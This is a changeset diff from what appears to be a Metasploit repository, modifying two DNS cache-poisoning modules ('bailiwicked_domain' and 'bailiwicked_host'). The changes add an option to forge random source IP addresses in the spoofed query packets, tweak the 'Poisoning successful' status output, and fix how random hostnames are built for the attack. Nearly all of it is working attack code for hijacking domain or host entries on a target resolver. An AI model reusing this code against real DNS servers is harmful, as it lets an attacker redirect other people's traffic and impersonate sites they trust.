Changeset 5602

Show
Ignore:
Timestamp:
07/25/08 23:35:28 (2 months ago)
Author:
hdm
Message:

Adds an option to randomize the source address of the queries as well as some cosmetic changes. The tuning code should be forwarding queries properly now.

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_domain.rb

    r5597 r5602  
    4444                        register_options( 
    4545                                [ 
     46                                        OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']), 
    4647                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), 
    4748                                        OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']), 
     
    137138                target  = rhost() 
    138139                source  = Rex::Socket.source_address(target) 
     140                saddr   = datastore['SRCADDR'] 
    139141                sport   = datastore['SRCPORT'] 
    140142                domain  = datastore['DOMAIN'] + '.' 
     
    280282                        req.rd = 1 
    281283 
     284                        src_ip = source 
     285                         
     286                        if(saddr == 'Random') 
     287                                src_ip = Rex::Text.rand_text(4).unpack("C4").join(".") 
     288                        end 
     289                         
    282290                        buff = ( 
    283291                                Scruby::IP.new( 
    284                                         #:src   => barbs[0][:addr].to_s, 
    285                                         :src   => source, 
     292                                        :src   => src_ip, 
    286293                                        :dst   => target, 
    287294                                        :proto => 17 
     
    351358                                                answer.each_answer do |name, ttl, data| 
    352359                                                        if((name.to_s + ".") == domain and data.name.to_s == newdns) 
    353                                                                 print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}") 
     360                                                                print_status("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}") 
    354361                                                                srv_sock.close 
    355362                                                                disconnect_ip 
     
    386393                times   = [] 
    387394                 
    388                 hostname = Rex::Text.rand_text_alphanumeric(16) + domain 
     395                hostname = Rex::Text.rand_text_alphanumeric(16) + '.' + domain 
    389396                                 
    390397                sock = Rex::Socket.create_udp( 
     
    414421                                        cnt = 0 
    415422                                         
    416                                         hostname = Rex::Text.rand_text_alphanumeric(16) + domain 
     423                                        hostname = Rex::Text.rand_text_alphanumeric(16) + '.' + domain 
    417424 
    418425                                        Thread.critical = false 
  • framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_host.rb

    r5597 r5602  
    3737                        register_options( 
    3838                                [ 
     39                                        OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']), 
    3940                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), 
    4041                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), 
     
    4344                                        OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), 
    4445                                        OptInt.new('TTL', [true, 'The TTL for the malicious host entry', 31337]), 
     46                                         
    4547                                ], self.class) 
    4648                                         
     
    5052                return {  
    5153                        "check" => "Determine if the specified DNS server (RHOST) is vulnerable", 
    52                         "racer" => "Determine the size of the window for the target server" 
     54                        "racer" => "Determine the size of the window for the target server", 
    5355                 } 
    5456        end 
     
    130132                target   = rhost() 
    131133                source   = Rex::Socket.source_address(target) 
     134                saddr    = datastore['SRCADDR']          
    132135                sport    = datastore['SRCPORT'] 
    133136                hostname = datastore['HOSTNAME'] + '.' 
     
    272275                        req.rd = 1 
    273276 
     277                        src_ip = source 
     278                         
     279                        if(saddr == 'Random') 
     280                                src_ip = Rex::Text.rand_text(4).unpack("C4").join(".") 
     281                        end 
     282                         
    274283                        buff = ( 
    275284                                Scruby::IP.new( 
    276                                         #:src   => barbs[0][:addr].to_s, 
    277                                         :src   => source, 
     285                                        :src   => src_ip, 
    278286                                        :dst   => target, 
    279287                                        :proto => 17 
     
    343351                                                answer.each_answer do |name, ttl, data| 
    344352                                                        if((name.to_s + ".") == hostname and data.address.to_s == address) 
    345                                                                 print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}") 
     353                                                                print_status("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}") 
    346354                                                                disconnect_ip 
    347355                                                                return 
     
    375383                times   = [] 
    376384                 
    377                 hostname = Rex::Text.rand_text_alphanumeric(16) + domain 
     385                hostname = Rex::Text.rand_text_alphanumeric(16) + '.' + domain 
    378386                                 
    379387                sock = Rex::Socket.create_udp( 
     
    403411                                        cnt = 0 
    404412                                         
    405                                         hostname = Rex::Text.rand_text_alphanumeric(16) + domain 
     413                                        hostname = Rex::Text.rand_text_alphanumeric(16) + '.' + domain 
    406414 
    407415                                        Thread.critical = false 
     
    455463                avg_count 
    456464        end      
    457  
     465         
    458466end 
    459467end